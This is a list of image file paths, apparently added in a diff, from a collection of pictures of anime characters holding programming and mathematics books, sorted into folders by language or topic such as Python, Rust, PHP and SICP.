+images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_5_Full_Programming_In_Lua.png +images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book.png +images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_2.png +images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_3.png +images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_4.png +images/anime-girls-with-programming-books/Lua/Wallpaper_Girl_Lua_Language_Book_5.png +images/anime-girls-with-programming-books/Lua/Yasuraoka_Hanabi_Reading_Lua_Language_Book.png +images/anime-girls-with-programming-books/MATLAB/Liza_Helesta_holding_Programming_with_MATLAB_for_scientists.jpg +images/anime-girls-with-programming-books/MUMPS/Sakurajima_Mai_Holding_The_Complete_MUMPS.png +images/anime-girls-with-programming-books/Math/Aki_Holding_Diestel_Graph_Theory.png +images/anime-girls-with-programming-books/Math/Anna_Liebert_Reading_Tensor_Geometry.png +images/anime-girls-with-programming-books/Math/Arifureta_Yue_Discrete_Math.png +images/anime-girls-with-programming-books/Math/Emma_Verde_Holding_Metric_Spaces_Book.jpg +images/anime-girls-with-programming-books/Math/Eru_Chitanda_Functional_Analysis_Introduction_to_Further_Topics_in_Analysis.jpg +images/anime-girls-with-programming-books/Math/Fumo_Hinanawi_Tenshi_reading_Discrete_Math.jpg +images/anime-girls-with-programming-books/Math/Futaba_Yoshioka_Abstract_Algebra.jpg +images/anime-girls-with-programming-books/Math/Futaba_Yoshioka_Abstract_Algebra_An_Introduction.jpg +images/anime-girls-with-programming-books/Math/Kagari_Atsuko_discrete_maths.jpg +images/anime-girls-with-programming-books/Math/Kozeki_Ui_Nonlinear_Systems.png +images/anime-girls-with-programming-books/Math/Mayaka_Ibara_Real_Analysis_Measure_Theory_Integration_and_Hilbert_Spaces.jpg +images/anime-girls-with-programming-books/Math/Mei_Misaki_Math_for_3D_Game_Programming_and_Computer_Graphics.png +images/anime-girls-with-programming-books/Math/Neko_Tyan_Linear_Algebra_Kostrikin.png +images/anime-girls-with-programming-books/Math/Oikura_Sodachi_Arithmetic_Algebraic_Geometry.png +images/anime-girls-with-programming-books/Math/Rei_Hino_Holding_Fractional_Graph_Theory_Book.png +images/anime-girls-with-programming-books/Math/Ritsuko_Akagi_Big_Rudin.png +images/anime-girls-with-programming-books/Math/Sakurajima_Mai_Holds_Applied_Mathematics_Portuguese.png +images/anime-girls-with-programming-books/Math/Senjougahara_Hitagi_Ordinary_Differential_Equations.png +images/anime-girls-with-programming-books/Math/Shima_Rin_Reading_Diestel_Graph_Theory.png +images/anime-girls-with-programming-books/Math/Squid_Girl_Ikamusume_holds_The_Theory_of_Algebraic_Number_Fields_by_Hilbert.png +images/anime-girls-with-programming-books/Math/Tomoko_Kuroki_Holding_Discrete_Mathematics.jpg +images/anime-girls-with-programming-books/Math/Tony_Taka_Calculus_Petrovich.jpg +images/anime-girls-with-programming-books/Math/Violet_Evergarden_Calculus_a_Complete_Course.png +images/anime-girls-with-programming-books/Math/Youmu_Konpaku_Holding_Discrete_Math_And_Its_Applications.jpg +images/anime-girls-with-programming-books/Math/Yuuri_Makita_Linear_Algebra_Done_Right.jpg +images/anime-girls-with-programming-books/Memes/Banner_Structures_and_Interpretations_of_Anime_Girls_and_Linux_Ricing.png +images/anime-girls-with-programming-books/Memes/Cirno_Kirisame_Marisa_Learning_Programming_CPP.png +images/anime-girls-with-programming-books/Memes/Cosplay_SICP.jpg +images/anime-girls-with-programming-books/Memes/Himegoto_Casting_Malloc.png +images/anime-girls-with-programming-books/Memes/Himegoto_Linked_Lists_Beginner.jpg +images/anime-girls-with-programming-books/Memes/Komeiji_Satori_SICP.jpg +images/anime-girls-with-programming-books/Memes/Kotori_Minami_Looks_Inside_Embedded_Rust.png +images/anime-girls-with-programming-books/Memes/Murakami_Shiina_SICP.jpg +images/anime-girls-with-programming-books/Memes/Osakabehime_Py_vs_Js.png +images/anime-girls-with-programming-books/Memes/Osakabehime_Rust_vs_Go.png +images/anime-girls-with-programming-books/Memes/Ryo_Yamada_Python_Meme.jpg +images/anime-girls-with-programming-books/Memes/Seika_Ijichi_Python_Meme.jpg +images/anime-girls-with-programming-books/Memes/Shouko_Komi_Holding_UwUntu_Notebook.jpg +images/anime-girls-with-programming-books/Mixed/Asuna-Yuuki-Java-ist-auch-eine-Insel.png +images/anime-girls-with-programming-books/Mixed/Henrietta_Laurent_de_Albert_and_Inuyama_Kuroe_Core_Java_and_Atomic_Kotlin.jpg +images/anime-girls-with-programming-books/Mixed/Marie_Itami_Selling_Assorted_Books.png +images/anime-girls-with-programming-books/Mixed/Nyaruko_Holding_React_And_Git_Essentials.jpg +images/anime-girls-with-programming-books/Mixed/Remilia_Scarlet_Holding_Rust_TypeScript_PHP_C_Lua_Book.jpg +images/anime-girls-with-programming-books/Mixed/Roll-Rockman_C_SICP_Art_Of_Programming.jpg +images/anime-girls-with-programming-books/Mixed/Ui_Hirasawa_Holding_HTML_And_CSS_Book.jpg +images/anime-girls-with-programming-books/Mixed/Yui_Hirasawa_Holding_A_Lot_Of_Books.jpg +images/anime-girls-with-programming-books/MongoDB/Nishimiya_Shouko_Learn_MongoDB.jpg +images/anime-girls-with-programming-books/Nim/Suzukaze_Aoba_Nim_In_Action.png +images/anime-girls-with-programming-books/NodeJs/Akeno_Himejima_Reading_Practical_Nestjs_Book_Node.png +images/anime-girls-with-programming-books/NodeJs/Black_Haired_Girl_With_Scarf_Holding_NodeJs_Design_Patterns_Book.png +images/anime-girls-with-programming-books/NodeJs/Girl_With_Glasses_Blue_Eyes_Covering_Face_With_Express_In_Action_Book.png +images/anime-girls-with-programming-books/NodeJs/Hifumi_Takimoto_NodeJs.png +images/anime-girls-with-programming-books/NodeJs/Light_Haired_Girl_With_Sword_Holding_Beginning_NodeJs_Book.png +images/anime-girls-with-programming-books/NodeJs/Mai_Sakurajima_Holding_NextJs_Tutorial.png +images/anime-girls-with-programming-books/NodeJs/Node_JS_In_Action.jpg +images/anime-girls-with-programming-books/NodeJs/Shiratori_Mizuha_reading_Learning_Node.png +images/anime-girls-with-programming-books/OCaml/Iino_Miko_from_Kaguya-sama_Holding_OCaml_Book.jpg +images/anime-girls-with-programming-books/OCaml/Miyamizu_Mitsuha_Real_World_OCaml.png +images/anime-girls-with-programming-books/OCaml/Rias_Gremory_OCaml.png +images/anime-girls-with-programming-books/OCaml/Sakurajma_Mai_OCaml.png +images/anime-girls-with-programming-books/Objective-C/Kujou_Karen_Learns_Objective-C.png +images/anime-girls-with-programming-books/Objective-C/Rin_Tohsaka_Objective-C.png +images/anime-girls-with-programming-books/Objective-C/tenma_maemi_objective-c_1.png +images/anime-girls-with-programming-books/Odin/Kiryuu_Kikyou_Holding_Understanding_The_Odin_Programming_Language.jpg +images/anime-girls-with-programming-books/Odin/Kozeki_Ui_Holding_Understanding_The_Odin_Programming_Language.png +images/anime-girls-with-programming-books/Operating%20Systems/Beatrice_Re_Zero_Operating_Systems_Three_Easy_Pieces.png +images/anime-girls-with-programming-books/Orchestrator/Emilia_System_Center_Orchestrator_2012.png +images/anime-girls-with-programming-books/Other/Aniyuki_Rin_Reading_The_Fckin_Manual.jpg +images/anime-girls-with-programming-books/Other/Chika_Fujiwara_Holding_Inclusive_Design_Book.png +images/anime-girls-with-programming-books/Other/Frieren_Sleeping_With_Coders_At_Work.png +images/anime-girls-with-programming-books/Other/Hakui_Koyori_holding_Minecraft_Modding_with_Forge.png +images/anime-girls-with-programming-books/Other/Hakurei_Reimu_PC98_holding_PC9801_Programming_Bible.png +images/anime-girls-with-programming-books/Other/Kurumizawa_Satanichia_holding_Communist_Manifesto_by_Marx.png +images/anime-girls-with-programming-books/Other/Kushieda_Minori_Twitter_Fail_Whale_Mug.png +images/anime-girls-with-programming-books/Other/Lain_holding_Hacker_Heaven_behind_her_back.jpg +images/anime-girls-with-programming-books/Other/Minami_Kawashima_reading_Sed_and_Awk.jpg +images/anime-girls-with-programming-books/Other/Mokou_And_Keine_Reading_Windows_Kernel_Programming.png +images/anime-girls-with-programming-books/Other/Momozono_Nanami_Reading_Practical_Binary_Analysis.png +images/anime-girls-with-programming-books/Other/Najimi_showing_Literate_Programming.jpg +images/anime-girls-with-programming-books/Other/Nanase_Sena_holding_Drupal_9_Module_Development_Book.png +images/anime-girls-with-programming-books/Other/Patchouil_Reading_Windows_Internal_7th_Edition.png +images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_holding_Autodesk_Saya.png +images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_researching_Autodesk_Saya_1.jpg +images/anime-girls-with-programming-books/Other/Suzukaze_Aoba_researching_Autodesk_Saya_2.jpg +images/anime-girls-with-programming-books/Other/Yae_Miko_Spark_The_Definitive_Guide.jpg +images/anime-girls-with-programming-books/Other/Yotsuba_Nakano_Data_Science_do_Zero.png +images/anime-girls-with-programming-books/Other/Yuuki_Asuna_Holding_Windows_Internals_Part_1.png +images/anime-girls-with-programming-books/Other/ibuki_fuko_agent_based_modeling.png +images/anime-girls-with-programming-books/PHP/Akira_Oono_Holding_PHP_Programming_Language.jpg +images/anime-girls-with-programming-books/PHP/Alya_holding_PHP_book.jpg +images/anime-girls-with-programming-books/PHP/Emilia_Holding_Programming_PHP.png +images/anime-girls-with-programming-books/PHP/Gabriel_DropOut_Chisaki_Tapris_PHP.png +images/anime-girls-with-programming-books/PHP/Hatsune_Miku_Holding_PHP_Book.png +images/anime-girls-with-programming-books/PHP/Hitori_Gotoh_Holding_PHP_Book.jpg +images/anime-girls-with-programming-books/PHP/Kanbaru_Holds_Learning_PHP_Portuguese.png +images/anime-girls-with-programming-books/PHP/Mash_kyrielight_Laravel_book.png +images/anime-girls-with-programming-books/PHP/Murasaki_shikibu_php_mysql_book.png +images/anime-girls-with-programming-books/PHP/Oreimo_Leon_Atkinson_Core_PHP_Programming.png +images/anime-girls-with-programming-books/PHP/Original_by_Tkimz_Php_Programming_Book.png +images/anime-girls-with-programming-books/PHP/Patchouli_Knowledge_Holds_PHP_For_Professionals_Portuguese.png +images/anime-girls-with-programming-books/PHP/Random_Pinterest_Girl_PHP.jpeg +images/anime-girls-with-programming-books/PHP/Seri_Kikyou_PHP_for_Absolute_Beginners.png +images/anime-girls-with-programming-books/PHP/Takami_Chika_Holding_PHP_Book.png +images/anime-girls-with-programming-books/PHP/Tomo_Aizawa_Holding_PHP_Book.jpg +images/anime-girls-with-programming-books/PHP/Vikram_Vaswani_A_Beginners_Guide.png +images/anime-girls-with-programming-books/Perl/Deathnote_Misa_Perl.png +images/anime-girls-with-programming-books/Perl/Iwakura_Lain_Programming_Perl.png +images/anime-girls-with-programming-books/Perl/Kenja-No-Mago_Examiner_Perl.png +images/anime-girls-with-programming-books/Perl/Kenja-No-Mago_Examiner_Perl2.png +images/anime-girls-with-programming-books/Perl/Konosuba_Darkness_Perl.jpg +images/anime-girls-with-programming-books/Perl/Mizuho_Programming_Perl.png +images/anime-girls-with-programming-books/Personification/Amada_Kokoro_AMD_Waifu.jpg +images/anime-girls-with-programming-books/Personification/Arikawa_Hime_dpt.png +images/anime-girls-with-programming-books/Personification/Docker_Waifu.jpg +images/anime-girls-with-programming-books/Personification/Golang_Waifu.jpg +images/anime-girls-with-programming-books/Personification/Haskell_Ruby_Waifus.png +images/anime-girls-with-programming-books/Personification/Rust_Waifu.jpg +images/anime-girls-with-programming-books/PowerShell/Power_PowerShell_TheUltimateBeginnersGuidetoLearnPowerShellStepbyStep.png +images/anime-girls-with-programming-books/PowerShell/Reimu_Holding_PowerShellForITProfessionals_Book.png +images/anime-girls-with-programming-books/Prolog/iM%40S_Hoshii_Miki_Art_of_Prolog.png +images/anime-girls-with-programming-books/Purescript/Ami_Mizuno_Holding_Purescript_By_Example.png +images/anime-girls-with-programming-books/Python/Aharen_Reina_Holding_Python_Programming_Language.png +images/anime-girls-with-programming-books/Python/Akko_Kagari_The_Python_Book.jpg +images/anime-girls-with-programming-books/Python/Anna_Yanami_Holding_Python_Book.png +images/anime-girls-with-programming-books/Python/Anya_with_python_book.png +images/anime-girls-with-programming-books/Python/Aoba_Suzukaze_techgo_Python_For_Beginners.png +images/anime-girls-with-programming-books/Python/Barbara_Genshin_Impact_Python_Book.png +images/anime-girls-with-programming-books/Python/Chino_and_Meg_from_GochiUsa_Python.jpg +images/anime-girls-with-programming-books/Python/Chise_Hatori_Holding_Python_Book_While_She_Is_Being_Held.jpg +images/anime-girls-with-programming-books/Python/Chiyo_Mihama_With_Python_Homework.png +images/anime-girls-with-programming-books/Python/Chiyo_Mihama_With_The_Renegade_Coder_Python_Lab.png +images/anime-girls-with-programming-books/Python/Davinci_Python_magic.png +images/anime-girls-with-programming-books/Python/Drunk_Kobayashi_Python.png +images/anime-girls-with-programming-books/Python/Elaina_With_Effective_Python.png +images/anime-girls-with-programming-books/Python/Elizabeth_Holds_Python_Automation_Portuguese.png +images/anime-girls-with-programming-books/Python/Emilia_Holding_Intro_to_Python.jpg +images/anime-girls-with-programming-books/Python/Emilico_From_ShadowsHouse_Python.jpg +images/anime-girls-with-programming-books/Python/Freiren_Holding_Python_Book.png +images/anime-girls-with-programming-books/Python/Fuko_Ibuki_Holding_Up_Python.jpg +images/anime-girls-with-programming-books/Python/Hanekawa_Holds_Fluent_Python_Portuguese.png +images/anime-girls-with-programming-books/Python/Hatsune_Miku_Holding_Python_For_Beginners.png +images/anime-girls-with-programming-books/Python/Helena_Blavatsky_Python_data-analytics.png +images/anime-girls-with-programming-books/Python/Hirasawa_Yui_Studying_For_interview.png +images/anime-girls-with-programming-books/Python/Hoshimi_Junna_Programming_Python.png +images/anime-girls-with-programming-books/Python/Jahy_Sama_Python.jpg +images/anime-girls-with-programming-books/Python/Karen_Kujou_Learns_Python.png +images/anime-girls-with-programming-books/Python/Katsushika%20Hokusai_Python_tricks.png +images/anime-girls-with-programming-books/Python/Kirino_Happy_Python.png +images/anime-girls-with-programming-books/Python/Komi_San_Maid_Outfit_Python.png +images/anime-girls-with-programming-books/Python/Komi_san_Python.png +images/anime-girls-with-programming-books/Python/Machu_Reading_Python.png +images/anime-girls-with-programming-books/Python/Makise%20Kurisu_Python.jpg +images/anime-girls-with-programming-books/Python/Marin_Kitagawa_automate_the_boring_stuff_with_python.png +images/anime-girls-with-programming-books/Python/Marisa_Kirisame_Holding_Python_Book.jpg +images/anime-girls-with-programming-books/Python/Medusa_Python_rider.png +images/anime-girls-with-programming-books/Python/Mifune_Shioriko_Holding_The_Python_Book.png +images/anime-girls-with-programming-books/Python/Miyashita_Ai_Holding_The_Python_Book.png +images/anime-girls-with-programming-books/Python/Moka_Hoto_Holding_Python_For_Beginners.png +images/anime-girls-with-programming-books/Python/Nagatoro_Holding_Python_2_in_1.png +images/anime-girls-with-programming-books/Python/Natsuki_DDLC_Holding_Python_Book_Embarrassed.jpg +images/anime-girls-with-programming-books/Python/Nijika_Ijichi_Think_Python.png +images/anime-girls-with-programming-books/Python/Nursery_Rhyme_Learning_Python.png +images/anime-girls-with-programming-books/Python/Original_by_Tkimz_Python_Programming_Book.png +images/anime-girls-with-programming-books/Python/Original_by_Tkimz_With_The_Renegade_Coder_Python_Lab.png +images/anime-girls-with-programming-books/Python/Rias_Gremory_reading_automate_the_boring_stuff_with_python.png +images/anime-girls-with-programming-books/Python/Rize_Kamishiro_reading_Automate_the_boring_stuff_python.png +images/anime-girls-with-programming-books/Python/Saint_Martha_Mastering_design_patterns_python.png +images/anime-girls-with-programming-books/Python/Sakiko_Togawa_Reading_Python_Machine_Learning.png +images/anime-girls-with-programming-books/Python/Satania_reading_Python_For_Kids.png +images/anime-girls-with-programming-books/Python/Sengoku_Nadeko_Learn_Python_The_Hard_Way.jpg +images/anime-girls-with-programming-books/Python/Shouko_Komi_Holding_Python_Book.jpg +images/anime-girls-with-programming-books/Python/Tohru-Dragon_Maid_Beginning_Python.jpg +images/anime-girls-with-programming-books/Python/Tomoe_Takasago_With_Python_Books.jpg +images/anime-girls-with-programming-books/Python/Vigne_hold_TensorFlow_for_Deep_Learning.png +images/anime-girls-with-programming-books/Python/Yotsugi_Ononoki_Reading_Python_Book.jpg +images/anime-girls-with-programming-books/Python/Yuni_Shingyouji_Holding_Python_Book.jpg +images/anime-girls-with-programming-books/Python/kagome_with_python.jpg +images/anime-girls-with-programming-books/Python/mai_sakurajima_holding_python_programming_3in1_book.png +images/anime-girls-with-programming-books/Quantum%20Computing/Frieren_Practical_Quantum_Computing_For_Developers.png +images/anime-girls-with-programming-books/Quantum%20Computing/Minami_Shizuku_Noda_Kotone_from_Sakura_Trick_Quantum_Field_Theory.png +images/anime-girls-with-programming-books/Quantum%20Computing/Urara_Shiratori_Intro_Topological_Quantun_Computation.png +images/anime-girls-with-programming-books/R/Saber_Artoria_R_For_Data_Science.jpg +images/anime-girls-with-programming-books/R/Shaltear_Overlord_Holding_Efficient_R_Programming.png +images/anime-girls-with-programming-books/R/gura_r_for_everyone.png +images/anime-girls-with-programming-books/Racket/Nagato_Yuki_HtDP.png +images/anime-girls-with-programming-books/RayTracing/Mai_Sakurajima_Ray_Tracing_Gems_II.png +images/anime-girls-with-programming-books/ReCT/Renge_Miyauchi_With_ReCT_Book.png +images/anime-girls-with-programming-books/Regex/Introducing_Regular_Expressions.png +images/anime-girls-with-programming-books/Regex/Yuri_Holds_Regular_Expressions_Portuguese.png +images/anime-girls-with-programming-books/Ruby/Idolmaster_Cinderella_Girls_Chieri_Holding_Ruby_on_Rails_Tutorial_by_Michael_Hartl.png +images/anime-girls-with-programming-books/Ruby/Istina_from_Arknights_Holding_Ruby_Programming_For_Beginners.png +images/anime-girls-with-programming-books/Ruby/Izetta_Introduction_to_Ruby_Programming_for_Future_Professionals.png +images/anime-girls-with-programming-books/Ruby/Kanzaki_Ranko_Holding_Ruby_Programming_Lang.png +images/anime-girls-with-programming-books/Ruby/Lucy_Holds_Ruby_Book_Portuguese.png +images/anime-girls-with-programming-books/Ruby/Megumin_Reading_Programming_Gengo_Ruby.jpg +images/anime-girls-with-programming-books/Ruby/Nakano_Yotsuba_Holding_The_Ruby_On_Rails_Tutorial.png +images/anime-girls-with-programming-books/Ruby/Ruby_Kurosawa_Holding_Ruby_Programming_Lang.png +images/anime-girls-with-programming-books/Ruby/Saber_Alter_Ruby.png +images/anime-girls-with-programming-books/Ruby/Tokisaki_Kurumi_Holding_Practical_Object_Oriented_Design_In_Ruby.png +images/anime-girls-with-programming-books/Ruby/Tomoko_Kuroki_Holding_Ruby_Programming_Language.jpg +images/anime-girls-with-programming-books/Ruby/Tsukihime_Kohaku_Holding_Ruby_Programming_For_Beginners.jpeg +images/anime-girls-with-programming-books/Ruby/Yuki_Suou_Holding_Ruby_Book.png +images/anime-girls-with-programming-books/Ruby/rubyist.jpg +images/anime-girls-with-programming-books/Rust/Ai_Hayasaka_Holding_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Ai_Mie_Reading_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Akiyama_Mio_Holding_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Astolfo_Learning_rust.png +images/anime-girls-with-programming-books/Rust/Da_vinci_Rust_art.png +images/anime-girls-with-programming-books/Rust/Ferris_Chan_Rust.png +images/anime-girls-with-programming-books/Rust/Frieren_Holding_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Frieren_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Helena_blavatsky_Rust_lang.png +images/anime-girls-with-programming-books/Rust/Ikuyo_Kita_holding_Rust_Book.png +images/anime-girls-with-programming-books/Rust/Inuyama_Aoi_Showing_Off_RUST_Programming.png +images/anime-girls-with-programming-books/Rust/Iwakura_Lain_Rust_programming.png +images/anime-girls-with-programming-books/Rust/Kakegurui_Yumeko_Rust.png +images/anime-girls-with-programming-books/Rust/Kanna_Kamui_Finds_RUST_programming.jpg +images/anime-girls-with-programming-books/Rust/Kaori_Miyazono_Rust.png +images/anime-girls-with-programming-books/Rust/Kikuchi_Makoto_Programming_In_Rust.png +images/anime-girls-with-programming-books/Rust/Kitagawa_Marin_holding_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Komi_holding_Web_Assembly_with_Rust.png +images/anime-girls-with-programming-books/Rust/Kotoko_Iwanaga_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Koukaku_no_Pandora_Rust_Programming.jpg +images/anime-girls-with-programming-books/Rust/Lavinia_whateley_Black_hat_in_rust.png +images/anime-girls-with-programming-books/Rust/Mai_Sakurajima_Holding_Rust_Book.png +images/anime-girls-with-programming-books/Rust/Mash_kyrielight_Rust_development.png +images/anime-girls-with-programming-books/Rust/Minagi_Koharu_Reading_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Minori_Hanasato_Programming_Rust.png +images/anime-girls-with-programming-books/Rust/Miyamizu_Mitsuha_On_Ownership_And_Borrowing.jpg +images/anime-girls-with-programming-books/Rust/Morgan_le_fay_Rust_course.png +images/anime-girls-with-programming-books/Rust/Murasaki_shikibu_Mastering_Rust.png +images/anime-girls-with-programming-books/Rust/Nene_Sakura_Rust.png +images/anime-girls-with-programming-books/Rust/Ninomae_Inanis_Holding_Rust_Programming.png +images/anime-girls-with-programming-books/Rust/Ninomae_Inanis_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Nursery_rhyme_Rust_learning_path.png +images/anime-girls-with-programming-books/Rust/Ponko_Rust.png +images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language_2.png +images/anime-girls-with-programming-books/Rust/Rin_Shima_The_Rust_Programming_Language_3.png +images/anime-girls-with-programming-books/Rust/Ruri_Ichigyou_Holding_Rust_Book.jpg +images/anime-girls-with-programming-books/Rust/Sawai_Natsuha_Smug_Rust.png +images/anime-girls-with-programming-books/Rust/Senko_Holding_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Shikanoko-The-Rust-Programming-Language.png +images/anime-girls-with-programming-books/Rust/Shizuka_Yoshimoto_The_Rust_Programming_Language.png +images/anime-girls-with-programming-books/Rust/Squid_Girl_Ikamusume_recommends_Rust.jpg +images/anime-girls-with-programming-books/Rust/Suigintou_Smug_Rust.jpg +images/anime-girls-with-programming-books/Rust/Suigintou_The_Rust_Lang.jpg +images/anime-girls-with-programming-books/Rust/Takebe_Saori_on_Web_Assembly_With_Rust.png +images/anime-girls-with-programming-books/Rust/Tsukishima_Shijima_The_Rust_programming_language.png +images/anime-girls-with-programming-books/Rust/Zero_Two_Black_Hat_Rust.jpg +images/anime-girls-with-programming-books/SICP/Alice_Kuonji_SICP.png +images/anime-girls-with-programming-books/SICP/Anya_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Azmaria_Hendric_Holding_SICP.png +images/anime-girls-with-programming-books/SICP/Buratei_Marii_Not_Confident_At_ALL_SICP.png +images/anime-girls-with-programming-books/SICP/Buratei_Marii_Not_Confident_At_ALL_SICP_bg.jpg +images/anime-girls-with-programming-books/SICP/Chisaki_Tapris_Has_no_clue_SICP.png +images/anime-girls-with-programming-books/SICP/Chuunis_Rikka_Sanae_Studying_SICP.jpg +images/anime-girls-with-programming-books/SICP/Dirty_Pair_Yuri_angry_SICP.jpg +images/anime-girls-with-programming-books/SICP/Etotama_Uri-tan_reading_SICP.png +images/anime-girls-with-programming-books/SICP/FlanSICP.png +images/anime-girls-with-programming-books/SICP/Fujiwara_Chika_Presents_SICP.png +images/anime-girls-with-programming-books/SICP/Fujiwara_No_Mokou_Law_Is_SICP.png +images/anime-girls-with-programming-books/SICP/Fujiwara_No_Mokou_Lewds_SICP.jpg +images/anime-girls-with-programming-books/SICP/Fumami_Yui_Holding_SICP.png +images/anime-girls-with-programming-books/SICP/Funami_Yui_Hugging_SICP.jpg +images/anime-girls-with-programming-books/SICP/GochiUsa_Is_The_Order_SICP.png +images/anime-girls-with-programming-books/SICP/Gokou_Ruri_Points_At_SICP.jpg +images/anime-girls-with-programming-books/SICP/Hanako_Yamadagi_looking_at_SICP.jpg +images/anime-girls-with-programming-books/SICP/Hanamaru_Kunikida_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Hatsune_Miku_Reading_SICP.jpeg +images/anime-girls-with-programming-books/SICP/IM%40s_Ganaha_Hibiki_SICP.png +images/anime-girls-with-programming-books/SICP/IM%40s_Kisaragi_Chihaya_SICP.png +images/anime-girls-with-programming-books/SICP/Inuyama_Aoi_Showing_Off_SICP.png +images/anime-girls-with-programming-books/SICP/Isla_Angry_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Iwakura_Lain_Reading_SICP.png +images/anime-girls-with-programming-books/SICP/Iwakura_Lain_SICP.png +images/anime-girls-with-programming-books/SICP/Kaede_Reading_SICP_With_Renge.jpeg +images/anime-girls-with-programming-books/SICP/Kagami_reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kanna_Kamui_Finds_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kaoruko_Moeta_SICP.jpeg +images/anime-girls-with-programming-books/SICP/Kemono_Friends_Serval_Kaban_Find_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kikuchi_Makoto_Hiding_Behind_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kin-iro_Mosaic_Alice_crying_for_bible_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kohashi_Wakaba_READING_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kohashi_Wakaba_reading_SICP2.jpg +images/anime-girls-with-programming-books/SICP/Kokonoe_Rin_Presenting_SICP.jpg +images/anime-girls-with-programming-books/SICP/Komeji_Satori_Owns_SICP.png +images/anime-girls-with-programming-books/SICP/Komichi_Aya_Hugging_SICP.jpg +images/anime-girls-with-programming-books/SICP/Konata_With_SICP.jpg +images/anime-girls-with-programming-books/SICP/Koukaku_no_Pandora_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kujou_Karen_Does_SICP.png +images/anime-girls-with-programming-books/SICP/Kujou_Karen_Gets_SICP.png +images/anime-girls-with-programming-books/SICP/Kujou_Karen_Likes_SICP.png +images/anime-girls-with-programming-books/SICP/Kuramoto_Chinatsu_Presenting_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kurosawa_Ruby_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Kurumizawa_Satanichia_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Lain_Holding_SICP_Behind_Her_Back.png +images/anime-girls-with-programming-books/SICP/Laura_La_Mer_Enjoying_SICP.png +images/anime-girls-with-programming-books/SICP/MARIN_KITAGAWA_SICP.png +images/anime-girls-with-programming-books/SICP/Maa_nyanko_days_SICP.jpg +images/anime-girls-with-programming-books/SICP/Mahoro_with_SICP.png +images/anime-girls-with-programming-books/SICP/Maki_and_Nico_Love_Live_with_SICP.jpg +images/anime-girls-with-programming-books/SICP/Manaka_Ao_Recommends_SICP.png +images/anime-girls-with-programming-books/SICP/Maple_Reading_SICP.png +images/anime-girls-with-programming-books/SICP/Marisa_Reading_SICP.png +images/anime-girls-with-programming-books/SICP/Miia_Flustered_By_SICP.png +images/anime-girls-with-programming-books/SICP/Mikage_Sakurai_Demonstrates_SICP.jpg +images/anime-girls-with-programming-books/SICP/Mio_holding_SICP.png +images/anime-girls-with-programming-books/SICP/Momijiyama_Teru_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Nagato_Yuki_Bandaged_Hand_SICP.jpg +images/anime-girls-with-programming-books/SICP/Nagato_Yuki_On_Cover_Of_SICP.jpg +images/anime-girls-with-programming-books/SICP/Nagato_Yuki_SICP.jpg +images/anime-girls-with-programming-books/SICP/Naoki_Miki_reading_SICP.png +images/anime-girls-with-programming-books/SICP/Niko_Yazawa_SICP.jpg +images/anime-girls-with-programming-books/SICP/Ninomae_Inanis_Holding_SICP.jpg +images/anime-girls-with-programming-books/SICP/Nori_SICP.jpg +images/anime-girls-with-programming-books/SICP/Oomiya_Shinobu_Reading_SICP.gif +images/anime-girls-with-programming-books/SICP/Oomiya_Shinobu_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Oumae_Kumiko_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Patchouli_Gives_SICP.jpg +images/anime-girls-with-programming-books/SICP/Patchouli_Looking_At_Viewer_SICP.jpg +images/anime-girls-with-programming-books/SICP/Patchouli_Prefers_SICP.jpg +images/anime-girls-with-programming-books/SICP/Patchouli_SICP.jpg +images/anime-girls-with-programming-books/SICP/Patchy_Fumo_reads_SICP.jpg +images/anime-girls-with-programming-books/SICP/Professor_Shinonome_Finds_SICP.jpg +images/anime-girls-with-programming-books/SICP/Professor_Shinonome_Sleeps_With_SICP.gif +images/anime-girls-with-programming-books/SICP/Remilia_SICP.jpg +images/anime-girls-with-programming-books/SICP/Saki_Sukinasaki_holding_SICP.png +images/anime-girls-with-programming-books/SICP/Sakura_Chiyo_Flustered_Hugging_SICP.jpg +images/anime-girls-with-programming-books/SICP/Sakura_Nene_Prefers_SICP.jpg +images/anime-girls-with-programming-books/SICP/Sakurako_Ohmuro_Holding_SICP.png +images/anime-girls-with-programming-books/SICP/Satania_SICP.jpg +images/anime-girls-with-programming-books/SICP/Satonaka_Chie_Ooya-san_wa_Shishunki_Glancing_SICP.png +images/anime-girls-with-programming-books/SICP/Satou_Sakie_Flustered_Reading_SICP.jpg +images/anime-girls-with-programming-books/SICP/Sawai_Natsuha_Smug_SICP.png +images/anime-girls-with-programming-books/SICP/Senko_Holds_Structure_and_Interpretations_of_Computer_Programs.jpg 